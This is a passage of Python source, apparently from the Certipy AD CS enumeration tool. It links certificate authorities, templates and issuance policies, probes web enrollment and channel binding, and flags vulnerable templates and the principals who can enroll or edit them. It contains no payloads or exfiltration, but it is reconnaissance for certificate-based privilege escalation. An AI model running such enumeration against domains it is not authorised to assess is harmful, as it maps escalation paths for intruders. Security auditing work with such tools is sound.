self.get_issuance_policies() logging.info( f"Found {len(oids)} issuance polic{'ies' if len(oids) != 1 else 'y'}" ) # Step 4: Link templates to issuance policies enabled_oids_count = self._link_templates_and_policies(templates, oids) logging.info( f"Found {enabled_oids_count} OID{'s' if enabled_oids_count != 1 else ''} " f"linked to {'templates' if enabled_oids_count != 1 else 'a template'}" ) # Step 5: Process CA certificates and properties self._process_ca_properties(cas) # Step 6: Process template properties self._process_template_properties(templates) # Step 7: Generate and save output prefix = ( datetime.now().strftime("%Y%m%d%H%M%S") if not self.output else self.output ) self._save_output(templates, cas, oids, prefix) # ========================================================================= # Certificate Authority (CA) Methods # ========================================================================= def _link_cas_and_templates( self, cas: List[LDAPEntry], templates: List[LDAPEntry] ) -> int: """ Link certificate authorities to templates and vice versa. Args: cas: List of certificate authorities templates: List of certificate templates Returns: Number of enabled templates """ enabled_templates_count = 0 for ca in cas: # Clean GUID format object_id = ca.get("objectGUID").lstrip("{").rstrip("}") ca.set("object_id", object_id) # Get templates enabled on this CA ca_templates = ca.get("certificateTemplates") or [] # Link CA to templates for template in templates: if template.get("name") in ca_templates: enabled_templates_count += 1 # Add CA to template's CA list if "cas" in template["attributes"]: template.get("cas").append(ca.get("name")) template.get("cas_ids").append(object_id) else: template.set("cas", [ca.get("name")]) template.set("cas_ids", [object_id]) return enabled_templates_count def _link_templates_and_policies( self, templates: List[LDAPEntry], oids: List[LDAPEntry] ) -> int: """ Link templates to their issuance policies and vice versa. Args: templates: List of certificate templates oids: List of issuance policies Returns: Number of enabled OIDs """ enabled_oids_count = 0 for template in templates: # Clean GUID format object_id = template.get("objectGUID").lstrip("{").rstrip("}") template.set("object_id", object_id) # Process issuance policies issuance_policies = template.get("msPKI-Certificate-Policy") if not isinstance(issuance_policies, list): issuance_policies = ( [] if issuance_policies is None else [issuance_policies] ) template.set("issuance_policies", issuance_policies) # Link OIDs to templates and vice versa for oid in oids: oid_value = oid.get("msPKI-Cert-Template-OID") if oid_value in issuance_policies: enabled_oids_count += 1 # Get linked group (if any) linked_group = oid.get("msDS-OIDToGroupLink") # Add template to OID's template list if "templates" in oid["attributes"]: oid.get("templates").append(template.get("name")) oid.get("templates_ids").append(object_id) else: oid.set("templates", [template.get("name")]) oid.set("templates_ids", [object_id]) # Add linked group info if linked_group: oid.set("linked_group", linked_group) # Add linked group to template if "issuance_policies_linked_groups" in template["attributes"]: template.get("issuance_policies_linked_groups").append( linked_group ) else: template.set( "issuance_policies_linked_groups", [linked_group] ) return enabled_oids_count def _process_ca_properties(self, cas: List[LDAPEntry]) -> None: """ Process certificate authority properties and security settings. Args: cas: List of certificate authorities """ for ca in cas: try: if self.dc_only: # In DC-only mode, we don't connect to CAs directly ca_properties = { "user_specified_san": "Unknown", "request_disposition": "Unknown", "enforce_encrypt_icertrequest": "Unknown", "security": None, "web_enrollment": { "http": {"enabled": "Unknown"}, "https": {"enabled": "Unknown", "channel_binding": None}, }, } else: # Connect to CA and get configuration ca_properties = self._get_ca_config_and_web_enrollment(ca) # Apply all properties to the CA object for key, value in ca_properties.items(): ca.set(key, value) # Process CA certificate if available self._process_ca_certificate(ca) except Exception as e: ca_name = ca.get("name", "Unknown") logging.warning(f"Failed to process CA properties for {ca_name!r}: {e}") handle_error(True) # Continue processing other CAs continue def _get_ca_config_and_web_enrollment(self, ca: LDAPEntry) -> Dict[str, Any]: """ Get CA configuration and web enrollment settings. Args: ca: Certificate authority object Returns: Dictionary of CA properties """ # Default values ca_properties: Dict[str, Any] = { "user_specified_san": "Unknown", "request_disposition": "Unknown", "enforce_encrypt_icertrequest": "Unknown", "security": None, "web_enrollment": { "http": {"enabled": "Unknown"}, "https": {"enabled": "Unknown", "channel_binding": None}, }, } ca_name = ca.get("name") ca_remote_name = ca.get("dNSHostName") try: # Get CA hostname and IP ca_target_ip = self.target.resolver.resolve(ca_remote_name) # Clone target for this CA ca_target = copy.copy(self.target) ca_target.remote_name = ca_remote_name ca_target.target_ip = ca_target_ip # Connect to CA and get configuration ca_service = CA(ca_target, ca=ca_name) ca_configuration = ca_service.get_config() active_policy = "Unknown" request_disposition = "Unknown" user_specified_san = "Unknown" enforce_encrypt_icertrequest = "Unknown" disabled_extensions = "Unknown" security = None if ca_configuration is not None: active_policy = ca_configuration.active_policy # Process request disposition request_disposition = ( "Pending" if ca_configuration.request_disposition & 0x100 else "Issue" ) # Process SAN flag user_specified_san = ( ca_configuration.edit_flags & 0x00040000 ) == 0x00040000 user_specified_san = "Enabled" if user_specified_san else "Disabled" # Process encryption flag enforce_encrypt = ( ca_configuration.interface_flags & 0x00000200 ) == 0x00000200 enforce_encrypt_icertrequest = ( "Enabled" if enforce_encrypt else "Disabled" ) # TODO: Map to human-readable format disabled_extensions = ca_configuration.disable_extension_list security = ca_configuration.security # Update properties ca_properties.update( { "active_policy": active_policy, "user_specified_san": user_specified_san, "request_disposition": request_disposition, "enforce_encrypt_icertrequest": enforce_encrypt_icertrequest, "disabled_extensions": disabled_extensions, "security": security, } ) except Exception as e: logging.warning( f"Failed to get CA security and configuration for {ca_name!r}: {e}" ) handle_error(True) # Check web enrollment logging.info(f"Checking web enrollment for CA {ca_name!r} @ {ca_remote_name!r}") try: ca_properties["web_enrollment"]["http"]["enabled"] = ( self.check_web_enrollment(ca, "http") ) https_enabled = self.check_web_enrollment(ca, "https") ca_properties["web_enrollment"]["https"]["enabled"] = https_enabled if https_enabled: # Check channel binding (EPA) channel_binding_enabled = self.check_channel_binding(ca) ca_properties["web_enrollment"]["https"]["channel_binding"] = ( "Unknown" if channel_binding_enabled is None else channel_binding_enabled ) except Exception as e: logging.warning(f"Failed to check Web Enrollment for CA {ca_name!r}: {e}") handle_error(True) return ca_properties def _process_ca_certificate(self, ca: LDAPEntry): """ Process CA certificate information. Args: ca: Certificate authority object """ subject_name = ca.get("cACertificateDN") ca.set("subject_name", subject_name) try: ca_certificate = ca.get("cACertificate") if not ca_certificate or len(ca_certificate) == 0: logging.debug(f"No CA certificate available for {ca.get('name')!r}") return # Parse the CA certificate ca_cert = x509.Certificate.load(ca_certificate[0])["tbs_certificate"] # Get certificate serial number serial_number = hex(int(ca_cert["serial_number"]))[2:].upper() # Get certificate validity period validity = ca_cert["validity"].native validity_start = str(validity["not_before"]) validity_end = str(validity["not_after"]) # Set certificate properties ca.set("serial_number", serial_number) ca.set("validity_start", validity_start) ca.set("validity_end", validity_end) except Exception as e: logging.warning( f"Could not parse CA certificate for {ca.get('name')!r}: {e}" ) handle_error(True) def check_web_enrollment(self, ca: LDAPEntry, channel: str) -> bool: """ Check if web enrollment is enabled on the CA. Args: ca: Certificate authority object channel: Protocol to check (http or https) Returns: True if enabled, False if disabled, None if unknown """ target_name = ca.get("dNSHostName") target_ip = self.target.resolver.resolve(target_name) headers = { "User-Agent": USER_AGENT, "Host": target_name, } session = httpx.Client( timeout=self.target.timeout, verify=False, ) url = f"{channel}://{target_ip}/certsrv/" try: logging.debug(f"Connecting to {url!r}") res = session.get( url, headers=headers, timeout=self.target.timeout, follow_redirects=False, ) # 401 indicates authentication required (service is running) if res.status_code == 401: logging.debug(f"Web enrollment seems enabled over {channel}") return True except requests.exceptions.Timeout: logging.debug(f"Web enrollment seems disabled over {channel}") return False except Exception as e: logging.warning(f"Error checking web enrollment: {e}") handle_error(True) return False def check_channel_binding(self, ca: LDAPEntry) -> Optional[bool]: """ Check if a Certificate Authority web enrollment endpoint enforces channel binding (EPA). This method tests HTTPS web enrollment authentication with and without channel binding to determine if Extended Protection for Authentication (EPA) is enabled. Args: ca: LDAP entry for the Certificate Authority Returns: True if channel binding is enforced False if channel binding is disabled None if the test was inconclusive or failed """ target_name = ca.get("dNSHostName") ca_name = ca.get("name") logging.debug(f"Checking channel binding for CA {ca_name!r} ({target_name!r})") # Set up connection parameters try: target_ip = self.target.resolver.resolve(target_name) # Create a copy of the target with CA-specific settings ca_target = copy.copy(self.target) ca_target.remote_name = target_name # Select authentication method based on whether Kerberos is enabled do_ntlm = not self.target.do_kerberos if do_ntlm: no_cb_auth = HttpxNtlmAuth(ca_target, channel_binding=False) cb_auth = HttpxNtlmAuth(ca_target, channel_binding=True) else: no_cb_auth = HttpxKerberosAuth(ca_target, channel_binding=False) cb_auth = HttpxKerberosAuth(ca_target, channel_binding=True) url = f"https://{target_ip}/certsrv/" headers = {"User-Agent": USER_AGENT, "Host": target_name} # First test: Try authentication without channel binding no_cb_session = httpx.Client( auth=no_cb_auth, timeout=self.target.timeout, verify=False, ) res_no_cb = no_cb_session.get( url, headers=headers, timeout=self.target.timeout, follow_redirects=False, ) logging.debug( f"CA {ca_name!r} responds with {res_no_cb.status_code} over HTTPS without channel binding" ) # If non-401 status code, channel binding is likely disabled # (server accepted auth without channel binding) if res_no_cb.status_code != 401: logging.debug("Channel binding (EPA) seems disabled") return False # Second test: Try authentication with channel binding cb_session = httpx.Client( auth=cb_auth, timeout=self.target.timeout, verify=False, ) res_cb = cb_session.get( url, headers=headers, timeout=self.target.timeout, follow_redirects=False, ) logging.debug( f"CA {ca_name!r} responds with {res_cb.status_code} over HTTPS with channel binding" ) # If status code is not 401, channel binding is likely enabled # (server accepted auth with channel binding but not without it) if res_cb.status_code != 401: logging.debug("Channel binding (EPA) seems enabled") return True else: # Both requests returned 401, likely due to invalid credentials logging.warning( "Channel binding (EPA) produces the same response as without it. Perhaps invalid credentials?" ) return None except NtlmNotSupportedError: # NTLM not supported, skip channel binding check logging.warning( "Failed to check channel binding: NTLM not supported. Try using Kerberos authentication (-k and -dc-host)." ) return None except Exception as e: logging.warning(f"Failed to check channel binding: {e}") handle_error(True) return None # ========================================================================= # Certificate Template Methods # ========================================================================= def _process_template_properties(self, templates: List[LDAPEntry]): """ Process certificate template properties. Args: templates: List of certificate templates """ for template in templates: # Set enabled flag template_cas = template.get("cas") enabled = template_cas is not None and len(template_cas) > 0 template.set("enabled", enabled) # Process validity periods self._process_template_validity(template) # Process template flags self._process_template_flags(template) # Process template policies self._process_template_policies(template) def _process_template_validity(self, template: LDAPEntry): """ Process template validity periods. Args: template: Certificate template """ # Process expiration period expiration_period = template.get("pKIExpirationPeriod") if expiration_period is not None: validity_period = filetime_to_str(expiration_period) else: validity_period = 0 template.set("validity_period", validity_period) # Process overlap (renewal) period overlap_period = template.get("pKIOverlapPeriod") if overlap_period is not None: renewal_period = filetime_to_str(overlap_period) else: renewal_period = 0 template.set("renewal_period", renewal_period) def _process_template_flags(self, template: LDAPEntry): """ Process template flag attributes. Args: template: Certificate template """ # Process certificate name flags certificate_name_flag = template.get("msPKI-Certificate-Name-Flag") if certificate_name_flag is not None: certificate_name_flag = CertificateNameFlag(int(certificate_name_flag)) else: certificate_name_flag = CertificateNameFlag(0) template.set("certificate_name_flag", certificate_name_flag.to_list()) # Process enrollment flags enrollment_flag = template.get("msPKI-Enrollment-Flag") if enrollment_flag is not None: enrollment_flag = EnrollmentFlag(int(enrollment_flag)) else: enrollment_flag = EnrollmentFlag(0) template.set("enrollment_flag", enrollment_flag.to_list()) # Process private key flags private_key_flag = template.get("msPKI-Private-Key-Flag") if private_key_flag is not None: private_key_flag = PrivateKeyFlag(int(private_key_flag)) else: private_key_flag = PrivateKeyFlag(0) template.set("private_key_flag", private_key_flag.to_list()) # Process signature requirements authorized_signatures_required = template.get("msPKI-RA-Signature") if authorized_signatures_required is not None: authorized_signatures_required = int(authorized_signatures_required) else: authorized_signatures_required = 0 template.set("authorized_signatures_required", authorized_signatures_required) # Process schema version schema_version = template.get("msPKI-Template-Schema-Version") if schema_version is not None: schema_version = int(schema_version) else: schema_version = 1 template.set("schema_version", schema_version) def _process_template_policies(self, template: LDAPEntry): """ Process template policy attributes and extended key usage. Args: template: Certificate template """ # Process application policies application_policies = template.get_raw("msPKI-RA-Application-Policies") if not isinstance(application_policies, list): application_policies = ( [] if application_policies is None else [application_policies] ) # Convert from bytes to strings and resolve OIDs application_policies = [p.decode() for p in application_policies] application_policies = [OID_TO_STR_MAP.get(p, p) for p in application_policies] template.set("application_policies", application_policies) # Process extended key usage (EKU) eku = template.get_raw("pKIExtendedKeyUsage") if not isinstance(eku, list): eku = [] if eku is None else [eku] # Convert from bytes to strings and resolve OIDs eku = cast(List[str], [e.decode() for e in eku]) extended_key_usage = [OID_TO_STR_MAP.get(e, e) for e in eku] template.set("extended_key_usage", extended_key_usage) # Determine template capabilities self._determine_template_capabilities(template, extended_key_usage) def _determine_template_capabilities( self, template: LDAPEntry, extended_key_usage: List[str] ): """ Determine template capabilities from EKU and flags. Args: template: Certificate template extended_key_usage: List of extended key usage values """ # Check for "any purpose" EKU any_purpose = "Any Purpose" in extended_key_usage or not extended_key_usage template.set("any_purpose", any_purpose) # Check for client authentication capability client_auth_ekus = [ "Client Authentication", "Smart Card Logon", "PKINIT Client Authentication", ] client_authentication = any_purpose or any( eku in extended_key_usage for eku in client_auth_ekus ) template.set("client_authentication", client_authentication) # Check for server authentication capability server_authentication = ( "Server Authentication" in extended_key_usage or any_purpose ) template.set("server_authentication", server_authentication) # Check for enrollment agent capability enrollment_agent = ( any_purpose or "Certificate Request Agent" in extended_key_usage ) template.set("enrollment_agent", enrollment_agent) # Check if enrollee can supply subject certificate_name_flag = template.get("certificate_name_flag", []) enrollee_supplies_subject = any( CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT in flag for flag in certificate_name_flag ) template.set("enrollee_supplies_subject", enrollee_supplies_subject) # Check if template requires manager approval enrollment_flag = template.get("enrollment_flag", []) requires_manager_approval = EnrollmentFlag.PEND_ALL_REQUESTS in enrollment_flag template.set("requires_manager_approval", requires_manager_approval) # Check if template has no security extension no_security_extension = EnrollmentFlag.NO_SECURITY_EXTENSION in enrollment_flag template.set("no_security_extension", no_security_extension) # Check if template requires key archival private_key_flag = template.get("private_key_flag", []) requires_key_archival = ( PrivateKeyFlag.REQUIRE_PRIVATE_KEY_ARCHIVAL in private_key_flag ) template.set("requires_key_archival", requires_key_archival) # ========================================================================= # Output Methods # ========================================================================= def _save_output( self, templates: List[LDAPEntry], cas: List[LDAPEntry], oids: List[LDAPEntry], prefix: str, ): """ Generate and save output in requested formats. Args: templates: List of certificate templates cas: List of certificate authorities oids: List of issuance policies prefix: Output file prefix """ # Determine if default output format should be used not_specified = not any([self.json, self.text, self.csv]) # Generate output for text/JSON formats output = self.get_output_for_text_and_json(templates, cas, oids) # Save text output if self.text or not_specified: output_text_stdout = copy.copy(output) if self.trailing_output: output_text_stdout["ESC14"] = self.trailing_output if self.stdout: logging.info("Enumeration output:") pretty_print(output_text_stdout) else: output_path = f"{prefix}_Certipy.txt" logging.info(f"Saving text output to {output_path!r}") f = io.StringIO() pretty_print( output_text_stdout, print_func=lambda x: f.write(x + "\n"), ) output_path = try_to_save_file( f.getvalue(), output_path, ) logging.info(f"Wrote text output to {output_path!r}") # Save JSON output if self.json or not_specified: output_path = f"{prefix}_Certipy.json" logging.info(f"Saving JSON output to {output_path!r}") f = io.StringIO() json.dump( output, f, indent=2, default=str, ) output_path = try_to_save_file( f.getvalue(), output_path, ) logging.info(f"Wrote JSON output to {output_path!r}") # Save CSV output if self.csv: # Save templates CSV template_output = self.get_template_output_for_csv(output) template_output_path = f"{prefix}_Templates_Certipy.csv" logging.info(f"Saving templates CSV output to {template_output_path!r}") template_output_path = try_to_save_file( template_output, template_output_path ) logging.info(f"Wrote templates CSV output to {template_output_path!r}") # Save CA CSV ca_output = self.get_ca_output_for_csv(output) ca_output_path = f"{prefix}_CAs_Certipy.csv" logging.info(f"Saving CA CSV output to {ca_output_path!r}") ca_output_path = try_to_save_file(ca_output, ca_output_path) logging.info(f"Wrote CA CSV output to {ca_output_path!r}") def get_output_for_text_and_json( self, templates: List[LDAPEntry], cas: List[LDAPEntry], oids: List[LDAPEntry] ) -> Dict[str, Any]: """ Generate structured output for text and JSON formats. Args: templates: List of certificate templates cas: List of certificate authorities oids: List of issuance policies Returns: Dictionary containing structured output """ ca_entries = {} template_entries = {} oids_entries = {} # Process templates for template in templates: # Skip if only showing enabled templates and this one isn't if self.enabled and template.get("enabled") is not True: continue # Get template vulnerabilities vulnerabilities, remarks, enrollable_principals, acl_principals = ( self.get_template_vulnerabilities(template) ) # Skip if only showing vulnerable templates and this one isn't if self.vuln and not vulnerabilities: continue # Create entry with properties and permissions entry = OrderedDict() entry = self.get_template_properties(template, entry) # Add permissions permissions = self.get_template_permissions(template) if permissions: entry["Permissions"] = permissions # Add enrollable principals if enrollable_principals: entry["[+] User Enrollable Principals"] = enrollable_principals # Add ACL principals if acl_principals: entry["[+] User ACL Principals"] = acl_principals # Add vulnerabilities if vulnerabilities: entry["[!] Vulnerabilities"] = vulnerabilities if remarks: entry["[*] Remarks"] = remarks # Add entry to collection template_entries[len(template_entries)] = entry # Process CAs for ca in cas: # Create entry with properties and permissions entry = OrderedDict() entry = self.get_ca_properties(ca, entry) # Add permissions permissions = self.get_ca_permissions(ca) if permissions: entry["Permissions"] = permissions # Add vulnerabilities vulnerabilities, remarks, enrollable_principals, acl_principals = ( self.get_ca_vulnerabilities(ca) ) # Add enrollable principals if acl_principals: entry["[+] User Enrollable Principals"] = enrollable_principals # Add ACL principals if acl_principals: entry["[+] User ACL Principals"] = acl_principals # Add vulnerabilities if vulnerabilities: entry["[!] Vulnerabilities"] = vulnerabilities # Add CA certificate properties if remarks: entry["[*] Remarks"] = remarks # Add entry to collection ca_entries[len(ca_entries)] = entry # Process OIDs if requested if self.oids: for oid in oids: # Get OID vulnerabilities vulnerabilities, acl_principals = self.get_oid_vulnerabilities(oid) # Skip if only showing vulnerable OIDs and this one isn't if self.vuln and not vulnerabilities: continue # Create entry with properties and permissions entry = OrderedDict() entry = self.get_oid_properties(oid, entry) # Add permissions permissions = self.get_oid_permissions(oid) if permissions: entry["Permissions"] = permissions # Add ACL principals if acl_principals: entry["[+] User ACL Principals"] = acl_principals # Add vulnerabilities if vulnerabilities: entry["[!] Vulnerabilities"] = vulnerabilities # Add entry to collection oids_entries[len(oids_entries)] = entry # Build final output dictionary output = {} # Add CAs if not ca_entries: output["Certificate Authorities"] = "[!] Could not find any CAs" else: output["Certificate Authorities"] = ca_entries # Add templates if not template_entries: output["Certificate Templates"] = ( "[!] Could not find any certificate templates" ) else: output["Certificate Templates"] = template_entries # Add OIDs if requested if self.oids: if not oids_entries: output["Issuance Policies"] = "[!] Could not find any issuance policy" else: output["Issuance Policies"] = oids_entries return output def get_ca_output_for_csv(self, output: Dict[str, Any]) -> str: """ Convert Certificate Authority data to CSV format. This function transforms nested CA data into a flattened CSV format. It handles complex nested structures like permissions and web enrollment settings in a way that makes them readable in CSV format. Args: output: Dictionary containing CA data (from get_output_for_text_and_json) Returns: String containing CSV-formatted data """ # Column order for the CSV output (determines which fields to include and their order) column_order = [ "CA Name", "DNS Name", "Certificate Subject", "Certificate Serial Number", "Certificate Validity Start", "Certificate Validity End", "User Specified SAN", "Request Disposition", "Enforce Encryption for Requests", "Web Enrollment HTTP", "Web Enrollment HTTPS", "Channel Binding", "Owner", "Manage CA Principals", "Manage Certificates Principals", "[!] Vulnerabilities", ] # Create CSV writer with semicolon delimiter and quote all fields csvfile = io.StringIO(newline="") writer = csv.DictWriter( csvfile, fieldnames=column_order, extrasaction="ignore", # Ignore fields not in column_order delimiter=";", quoting=csv.QUOTE_ALL, ) # Write header row writer.writeheader() # Check if we have valid CA data if not isinstance(output.get("Certificate Authorities"), dict): logging.warning("No certificate authority data available for CSV export") return csvfile.getvalue() try: # Process each CA and flatten its structure ca_rows = [ self._flatten_ca_data(output["Certificate Authorities"][id_]) for id_ in output["Certificate Authorities"] ] # Write all rows to CSV writer.writerows(ca_rows) return csvfile.getvalue() except Exception as e: logging.error(f"Error generating CA CSV data: {e}") handle_error() return csvfile.getvalue() def _flatten_ca_data(self, ca_entry: Dict[str, Any]) -> Dict[str, str]: """ Flatten a nested CA dictionary for CSV output. Handles special cases like permissions dictionaries, web enrollment settings, and list values by converting them to appropriate string representations. Args: ca_entry: Dictionary containing CA data Returns: Flattened dictionary with string values suitable for CSV """ items = [] # Process each field in the CA entry for key, value in ca_entry.items(): # Handle web enrollment specially if key == "Web Enrollment" and isinstance(value, dict): # Extract HTTP status if ( "http" in value and isinstance(value["http"], dict) and "enabled" in value["http"] ): http_status = "Enabled" if value["http"]["enabled"] else "Disabled" items.append(("Web Enrollment HTTP", http_status)) # Extract HTTPS status if "https" in value and isinstance(value["https"], dict): if "enabled" in value["https"]: https_status = ( "Enabled" if value["https"]["enabled"] else "Disabled" ) items.append(("Web Enrollment HTTPS", https_status)) # Extract channel binding status if "channel_binding" in value["https"]: cb_status = "Unknown" if value["https"]["channel_binding"] is True: cb_status = "Enabled" elif value["https"]["channel_binding"] is False: cb_status = "Disabled" items.append(("Channel Binding", cb_status)) # Handle permissions specially elif "Permissions" in key and isinstance(value, dict): # Process owner if "Owner" in value: items.append(("Owner", str(value["Owner"]))) # Process access rights if "Access Rights" in value and isinstance( value["Access Rights"], dict ): access_rights = value["Access Rights"] # Process Manage CA permissions if "Manage CA" in access_rights and isinstance( access_rights["Manage CA"], list ): items.append( ( "Manage CA Principals", "\n".join(access_rights["Manage CA"]), ) ) # Process Manage Certificates permissions if "Manage Certificates" in access_rights and isinstance( access_rights["Manage Certificates"], list ): items.append( ( "Manage Certificates Principals", "\n".join(access_rights["Manage Certificates"]), ) ) # Handle vulnerabilities specially elif "[!] Vulnerabilities" in key and isinstance(value, dict): vuln_list = [f"{k}: {v}" for k, v in value.items()] items.append((key, "\n".join(vuln_list))) # Handle dictionaries (convert to "key: value" format) elif isinstance(value, dict): formatted_value = ", ".join([f"{k}: {v}" for k, v in value.items()]) items.append((key, formatted_value)) # Handle lists (join with newlines for better CSV reading) elif isinstance(value, list): items.append((key, "\n".join(map(str, value)))) # Handle simple values else: items.append((key, str(value) if value is not None else "")) return dict(items) def get_template_output_for_csv(self, output: Dict[str, Any]) -> str: """ Convert certificate template data to CSV format. This function transforms nested certificate templates data into a flattened CSV format. It handles complex nested structures like permissions and lists in a way that makes them readable in CSV format. Args: output: Dictionary containing certificate template data (from get_output_for_text_and_json) Returns: String containing CSV-formatted data Raises: ValueError: If certificate template data is malformed or missing """ # Column order for the CSV output (determines which fields to include and their order) column_order = [ "Template Name", "Display Name", "Certificate Authorities", "Enabled", "Client Authentication", "Enrollment Agent", "Any Purpose", "Enrollee Supplies Subject", "Certificate Name Flag", "Enrollment Flag", "Private Key Flag", "Extended Key Usage", "Requires Manager Approval", "Requires Key Archival", "Authorized Signatures Required", "Validity Period", "Renewal Period", "Minimum RSA Key Length", "Enrollment Permissions", "Owner", "Write Owner Principals", "Write Dacl Principals", "Write Property Principals", "[!] Vulnerabilities", ] # Create CSV writer with semicolon delimiter and quote all fields csvfile = io.StringIO(newline="") writer = csv.DictWriter( csvfile, fieldnames=column_order, extrasaction="ignore", # Ignore fields not in column_order delimiter=";", quoting=csv.QUOTE_ALL, ) # Write header row writer.writeheader() # Check if we have valid template data if not isinstance(output.get("Certificate Templates"), dict): logging.warning("No certificate templates data available for CSV export") return csvfile.getvalue() try: # Process each template and flatten its structure template_rows = [ self._flatten_template_data(output["Certificate Templates"][id_]) for id_ in output["Certificate Templates"] ] # Write all rows to CSV writer.writerows(template_rows) return csvfile.getvalue() except Exception as e: logging.error(f"Error generating CSV data: {e}") handle_error() return csvfile.getvalue() def _flatten_template_data(self, template_entry: Dict[str, Any]) -> Dict[str, str]: """ Flatten a nested template dictionary for CSV output. Handles special cases like permissions dictionaries, nested objects, and list values by converting them to appropriate string representations. Args: template_entry: Dictionary containing template data Returns: Flattened dictionary with string values suitable for CSV """ items = [] # Process each field in the template for key, value in template_entry.items(): # Handle permissions specially if "Permissions" in key and isinstance(value, dict): for section_name, section_data in value.items(): if "Enrollment Permissions" in section_name: # Extract enrollment rights if ( isinstance(section_data, dict) and "Enrollment Rights" in section_data ): items.append( ( section_name, "\n".join(section_data["Enrollment Rights"]), ) ) elif "Object Control Permissions" in section_name: # Process each permission type for perm_name, principals in section_data.items(): if isinstance(principals, list): items.append((perm_name, "\n".join(principals))) else: items.append((perm_name, str(principals))) # Handle dictionaries (convert to "key: value" format) elif isinstance(value, dict): formatted_value = ", ".join([f"{k}: {v}" for k, v in value.items()]) items.append((key, formatted_value)) # Handle lists (join with newlines for better CSV reading) elif isinstance(value, list): items.append((key, "\n".join(map(str, value)))) # Handle simple values else: items.append((key, str(value) if value is not None else "")) return dict(items) # ========================================================================= # Property Extraction Methods # ========================================================================= def get_template_properties( self, template: LDAPEntry, template_properties: Optional[Dict[str, Any]] = None ) -> Dict[str, Any]: """ Extract template properties for output. Args: template: Certificate template template_properties: Optional existing properties dictionary Returns: Dictionary of template properties """ # Map of template properties to display names properties_map = { "cn": "Template Name", "displayName": "Display Name", "cas": "Certificate Authorities", "enabled": "Enabled", "client_authentication": "Client Authentication", "enrollment_agent": "Enrollment Agent", "any_purpose": "Any Purpose", "enrollee_supplies_subject": "Enrollee Supplies Subject", "certificate_name_flag": "Certificate Name Flag", "enrollment_flag": "Enrollment Flag", "private_key_flag": "Private Key Flag", "extended_key_usage": "Extended Key Usage", "requires_manager_approval": "Requires Manager Approval", "requires_key_archival": "Requires Key Archival", "application_policies": "RA Application Policies", "authorized_signatures_required": "Authorized Signatures Required", "schema_version": "Schema Version", "validity_period": "Validity Period", "renewal_period": "Renewal Period", "msPKI-Minimal-Key-Size": "Minimum RSA Key Length", "whenCreated": "Template Created", "whenChanged": "Template Last Modified", "msPKI-Certificate-Policy": "Issuance Policies", "issuance_policies_linked_groups": "Linked Groups", } # Create properties dictionary if template_properties is None: template_properties = OrderedDict() # Extract properties that exist for property_key, display_name in properties_map.items(): property_value = template.get(property_key) if property_value is not None: template_properties[display_name] = property_value return template_properties def get_ca_properties( self, ca: LDAPEntry, ca_properties: Optional[Dict[str, Any]] = None ) -> Dict[str, Any]: """ Extract CA properties for output. Args: ca: Certificate authority ca_properties: Optional existing properties dictionary Returns: Dictionary of CA properties """ # Map of CA properties to display names properties_map = { "name": "CA Name", "dNSHostName": "DNS Name", "cACertificateDN": "Certificate Subject", "serial_number": "Certificate Serial Number", "validity_start": "Certificate Validity Start", "validity_end": "Certificate Validity End", "web_enrollment": "Web Enrollment", "user_specified_san": "User Specified SAN", "request_disposition": "Request Disposition", "enforce_encrypt_icertrequest": "Enforce Encryption for Requests", "active_policy": "Active Policy", "disabled_extensions": "Disabled Extensions", } # Create properties dictionary if ca_properties is None: ca_properties = OrderedDict() # Extract properties that exist for property_key, display_name in properties_map.items(): property_value = ca.get(property_key) if property_value is not None: ca_properties[display_name] = property_value return ca_properties def get_oid_properties( self, oid: LDAPEntry, oid_properties: Optional[Dict[str, Any]] = None ) -> Dict[str, Any]: """ Extract OID properties for output. Args: oid: Issuance policy object oid_properties: Optional existing properties dictionary Returns: Dictionary of OID properties """ # Map of OID properties to display names properties_map = { "cn": "Issuance Policy Name", "displayName": "Display Name", "templates": "Certificate Template(s)", "linked_group": "Linked Group", } # Create properties dictionary if oid_properties is None: oid_properties = OrderedDict() # Extract properties that exist for property_key, display_name in properties_map.items(): property_value = oid.get(property_key) if property_value is not None: oid_properties[display_name] = property_value return oid_properties # ========================================================================= # Permission Extraction Methods # ========================================================================= def get_template_permissions(self, template: LDAPEntry) -> Dict[str, Any]: """ Extract template permissions for output. Args: template: Certificate template Returns: Dictionary of template permissions """ security = CertificateSecurity(template.get("nTSecurityDescriptor")) permissions = {} # Process enrollment permissions enrollment_permissions = {} enrollment_rights = [] all_extended_rights = [] for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Check for Enroll right has_enroll = (rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT) and ( EXTENDED_RIGHTS_NAME_MAP["Enroll"] in rights["extended_rights"] ) if has_enroll: enrollment_rights.append(self.connection.lookup_sid(sid).get("name")) # Check for All-Extended-Rights has_all_rights = ( rights["rights"] & ActiveDirectoryRights.EXTENDED_RIGHT ) and ( EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"] in rights["extended_rights"] ) if has_all_rights: all_extended_rights.append(self.connection.lookup_sid(sid).get("name")) # Add enrollment rights if enrollment_rights: enrollment_permissions["Enrollment Rights"] = enrollment_rights # Add all extended rights if all_extended_rights: enrollment_permissions["All Extended Rights"] = all_extended_rights # Add enrollment permissions if enrollment_permissions: permissions["Enrollment Permissions"] = enrollment_permissions # Process object control permissions object_control_permissions = {} # Add owner if not self.hide_admins or not is_admin_sid(security.owner): object_control_permissions["Owner"] = self.connection.lookup_sid( security.owner ).get("name") # Add rights mappings rights_mapping = [ (CertificateRights.GENERIC_ALL, [], "Full Control Principals"), (CertificateRights.WRITE_OWNER, [], "Write Owner Principals"), (CertificateRights.WRITE_DACL, [], "Write Dacl Principals"), ] # Process write property permissions write_permissions = {} for sid, rights in security.aces.items(): # Skip admin principals if requested if self.hide_admins and is_admin_sid(sid): continue # Get rights information extended_rights = rights["extended_rights"] ad_rights = rights["rights"] principal_name = self.connection.lookup_sid(sid).get("name") # Check for each standard right type for right, principal_list, _ in rights_mapping: if right in ad_rights and ( ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT ): principal_list.append(principal_name) # Check for write property rights can_write_property = (CertificateRights.WRITE_PROPERTY in ad_rights) and ( ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT ) if can_write_property: for extended_right in extended_rights: # Resolve extended right name resolved_right = EXTENDED_RIGHTS_MAP.get( extended_right, extended_right ) # Add principal to the list for this right principal_list = write_permissions.get(resolved_right, []) if principal_name not in principal_list: principal_list.append(principal_name) write_permissions[resolved_right] = principal_list # Add write property rights for extended_right, principal_list in write_permissions.items(): rights_mapping.append( ( CertificateRights.WRITE_PROPERTY, 